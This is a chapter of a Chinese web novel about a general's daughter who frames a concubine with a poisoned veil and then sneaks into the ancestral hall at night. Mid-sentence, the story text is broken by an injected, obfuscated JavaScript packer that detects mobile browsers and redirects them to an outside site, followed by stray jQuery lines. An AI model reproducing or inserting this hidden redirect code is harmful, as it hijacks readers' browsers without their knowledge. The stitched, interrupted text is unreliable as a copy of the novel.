“小姐,那面纱之上,当真是周姨娘下的毒?”
待回了暖居阁,锁秋便按捺不住心头疑虑这才开口询问。她分明记得,先前为汀竹戴上时也并未察觉有任何不妥之处。
汀竹站在窗前往外望了去,眸光扫过了院内各司其职的侍女侍从,待周遭无人留意,方压低声音回复了锁秋的话。
“并非她。”
“那又是何人所为?”锁秋满目困惑,望向了她。
汀竹缓缓转过身,倚靠着窗棂,双臂轻环于胸前,露出一抹别有深意的笑容,“是我设局,栽赃陷害。”
“小姐你.......你的意思是,那毒是你亲手所下?”锁秋惊得忙捂着嘴,生怕发出太大的声音,引来外人窥探。
汀竹点了点头,语气略带遗憾,“本想借此事扳倒周姨娘,却没料到,是我小瞧了她的手段。”
锁秋缓步朝她这走来,轻声道:“周姨娘的手段素来厉害!”
“都说老夫人是冲撞了邪祟才变得疯癫,但是此事发生的甚是蹊跷。奴婢斗胆猜测多半与她脱不了关系。”
先前锁秋曾提过,宋将军的通房诞下大少爷后,便被宋老夫人下令处死。
如此看来,那宋老夫人本是个心狠手辣的角色,怎会在周姨娘过门不久后,变得神志不清?这般想来,或许真如锁秋猜测般,宋老夫是被周姨娘下了毒手。
“锁秋,老夫人如今是安置在哪个院落?”汀竹走至屏风前的书案前坐下,取过那只她用的最顺手的翠玉毛笔。
锁秋见状,便研起了磨,一边达道:“是在祠堂后的院子,没有老爷的命令,任何人都不得靠近。”
汀竹提笔落墨,宣白的纸上赫赫然写下“祠”一字,力透纸背。
将一个疯癫之人关在祠堂之后,也不怕冒犯了列祖列宗?此事,令她心中又多了几分疑云。
“小姐,你这是......”锁秋望着纸上的“祠”字,似乎猜透了她的心思,细言道:“是要去祠堂探望老夫人?”
汀竹侧起了头,看了一眼锁秋那充满睿智的眼神,嘴角带笑,“你倒是机灵。”
与此同时,周姨娘回了西厢房,一进门便抬手扫过茶几上的茶杯。瓷杯落地,碎裂之声刺耳,一旁的侍女被她这一举动吓的脸色发白,忙唤道:“姨娘!”
周姨娘理了理衣袖,瞬间敛去怒意,恢复了往日的端庄模样,言语中带着几分警告,“此事就当没发生过,若让别院的人听见了,你该知道后果。”
那侍女连忙低头躬身道:“奴婢知晓了。”说罢,便蹲下身子,小心翼翼的将青砖地面上的茶杯瓷片一片片拾起。
“姨娘,奴婢方才去了二小姐院子,可外面的护卫不让奴婢进去。”说话的是周姨娘的贴身婢女梨画。
她从门口走到周姨娘身后,为其轻轻捶着肩膀,又道:“这大小姐自从上次坠崖后,就像是换了个人。”
周姨娘一声冷笑,眼底满是不屑,“哼,我倒要看看,这宋韫能翻出什么花样!”
“这栽赃陷害的技俩,她倒是学得通透。”说罢,她又问道:“可知那日她出府,去过什么特别的地方?”
梨画凝神回忆了片刻,便将所知道的消息一一禀明,“那日奴婢特意去询问了跟着大小姐一路的护卫,护卫说大小姐就是在云锦坊挑选试穿衣裳。其间遇到了齐小姐和李小姐,三人似乎因衣裳起了争执。后来齐小姐同李小姐先行离开,大小姐接着又去了几家首饰铺......”
周姨娘细细听了她说的宋韫所有行踪,却未发现有什么可疑之处,便又追问着,“可知三人争执后,是如何散的?”
“是大小姐主动礼让了,李小姐碍着面子,还替大小姐付了所选的衣物的银两。”梨画回着话。
主动礼让?这倒是符合宋韫往日的性子,而下毒陷害之事,倒不似她所为。可这......难道此事另有其人?那毒,又是从何处而来的?
周姨娘手指摩挲着手腕处那碧绿色翡翠手镯,忽然想起,那面纱曾经过太子之手。
难道是太子?
想到此处,周姨娘豁然开朗。
莫非太子是因得知与宋韫大婚将至,便恰巧借此机会拖延婚期?可这般手段,很轻易就被太医察觉......又或许,是太子一时疏忽,没考虑到这一点。
她此刻推测,下毒之事或许与宋韫无关。但为以防万一真如莲溪所说那般,宋韫为报复,才一直假装柔弱,博得老爷信任。若真是如此,留着宋韫,便是个极大的祸害。
随后,周姨娘吩咐梨画:“你且时刻盯紧宋韫的动静,若有半分异样,立即来向我禀报。”此事若真是宋韫一手谋划,那便留不得她。
夜黑风高,四下安静得无半点人言,唯有夜风穿林,拂动枝叶发出簌簌的轻响。
今晚汀竹未去醉心楼学琴,反倒是提着灯笼,带着锁秋悄然往了将军府祠堂去。
高墙耸立,她将灯笼往前照了照,烛火摇曳里,那门楣牌匾上那两个大字“祠堂”正泛着沉木光泽。再往下看去,祠堂正门处落了锁,周遭竟无半个人影看管。
走近些细辨那锁的样式,古朴厚重,分明是无钥匙难开的。汀竹眉梢微蹙,转头问身侧的人儿,“锁秋,这祠堂素来都这般锁着么?那老夫人平日里用什么吃食?”
锁秋忙指了指大门左侧墙根,那儿竟有处半尺见方的缺口:“往常送饭的人,都是把食盒搁在这缺口里,等里头的嬷嬷来取。”
汀竹方才倒是没留意这处缺口,移步往左侧走去,低头往里仔细瞧了瞧。
月光从云隙漏下,隐约照见院内荒草没踝,枯败的落叶积了厚厚一层。再往祠堂里望,供台上的牌位倒摆得齐整,香炉中还插着半截未燃尽的香烛,余烟似有若无地飘着。
院外荒凉萧索,墙角蛛网密布,可祠堂内却透着几分洁净。里外对比鲜明得很,显然是有人常来打扫。
“小姐,奴婢还听人说,这祠堂这边……经常闹鬼呢。”锁秋声音发颤,往汀竹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659334|188365||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身边挪了挪。
“闹鬼?”汀竹提着灯笼转身,烛火映得她眼底亮了亮。
锁秋愈发怕了,攥着汀竹的衣袖才觉安心,便小声道:“是呢,听那酉时末来送饭的人说,总听见里头有年轻女子的哭声。”
“还说……是先前的通房来找老夫人寻仇,老夫人如今疯癫,多半也是被鬼魂缠的。
年轻女子?鬼魂纠缠?
她汀竹才不会信这世间有鬼神之说,如若有也只是身为刺客时的她。
“倒是有点意思。”汀竹玩味勾了勾嘴角,心中不禁轻哼一声。
见她这般说,锁秋不由问道:“小姐,你不信这些话?”
汀竹淡淡笑着,抚了抚锁秋的手,安慰着,“你信他人之言,倒不如信我。”
“这世间从无鬼,只人心底会藏鬼。”
随后,她抬眼扫过两侧高墙,墙面上光溜溜的,并无其他入口。指腹轻轻摸了摸墙砖,凉意透过指尖传来,她将手中灯笼递向锁秋,“我进去看上一看,你且在外面守着。”
“小姐,你要进去?”锁秋慌忙接过灯笼,仰头望着丈高的墙,“这么高,怎么进啊?”
汀竹颔首,又问,“会猫叫不?”
锁秋愣愣点头,“会、会的。”
“那便好,若有人过来,你就学两声猫叫,再找地方躲好,别被发现了。”话音落,她已抬手将锁秋手中的两盏灯笼的烛火都吹灭了,夜色瞬间将二人裹得更紧。
锁秋望着眼前的漆黑,声音里满是怯意,“小姐,我、我有点怕……”
汀竹从腰间锦袋里摸出枚玉佩,递了过去:“拿着这个。”
锁秋借着微弱的月光接过,只见玉佩通体莹白,在暗处透着温润的光,触手冰凉细腻。“小姐,这是……”
“辟邪用的。”汀竹语气平淡。
锁秋一听,攥着玉佩的手紧了紧,心中瞬间踏实了不少。
汀竹瞧着她这般神色,暗自好笑。这丫头倒真好骗。
这玉佩不过是她先前顺手从某个人身上顺手扯的,本打算寻个机会拿去当铺换些银两,如今倒先派上了这用场。
旋即,汀竹走至一堵高墙前,距墙约莫一丈远近,便朝高墙提步疾奔。借那冲势,不过两步就已蹬墙而起,轻捷如燕般飞入了祠堂之内。
锁秋望着眼前这幕,只惊得怔在原地。那高墙瞧着足有三丈来高,她竟不过奔得数步,便翻跃而入了?这份身手,当真是了得!
随后,锁秋忙提裙小跑至方才汀竹翻入的墙下,隔著这道青砖壁,她先以指节轻叩墙面,又压低了声气唤道:“小姐,小姐,可听得见?”
她将耳朵紧紧贴在冰凉的砖面上,连一丝细微的声响也不肯漏过。
“听得见。”墙内传来汀竹轻叩的回应,随即是她温稳的声音,“我这边一切安好,你且放心,我这便往深处去了。”
“你再外也千万当心,莫要教人察觉了。”
锁秋回道:“好。”